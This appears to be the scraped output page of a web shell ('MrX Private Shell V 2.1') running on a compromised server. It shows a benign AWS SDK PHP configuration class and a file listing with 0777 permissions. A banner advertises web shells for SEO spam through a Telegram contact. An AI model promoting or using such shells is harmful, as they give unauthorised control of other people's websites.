__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Aws\Endpoint\UseDualstackEndpoint;
use Aws;
use Aws\Endpoint\UseDualstackEndpoint\Exception\ConfigurationException;
class Configuration implements ConfigurationInterface
{
private $useDualstackEndpoint;
public function __construct($useDualstackEndpoint, $region)
{
$this->useDualstackEndpoint = Aws\boolean_value($useDualstackEndpoint);
if (is_null($this->useDualstackEndpoint)) {
throw new ConfigurationException("'use_dual_stack_endpoint' config option"
. " must be a boolean value.");
}
if ($this->useDualstackEndpoint == true
&& (strpos($region, "iso-") !== false || strpos($region, "-iso") !== false)
) {
throw new ConfigurationException("Dual-stack is not supported in ISO regions"); }
}
/**
* {@inheritdoc}
*/
public function isUseDualstackEndpoint()
{
return $this->useDualstackEndpoint;
}
/**
* {@inheritdoc}
*/
public function toArray()
{
return [
'use_dual_stack_endpoint' => $this->isUseDualstackEndpoint(),
];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Exception | Folder | 0777 |
|
|
| Configuration.php | File | 1.12 KB | 0777 |
|
| ConfigurationInterface.php | File | 369 B | 0777 |
|
| ConfigurationProvider.php | File | 6.68 KB | 0777 |
|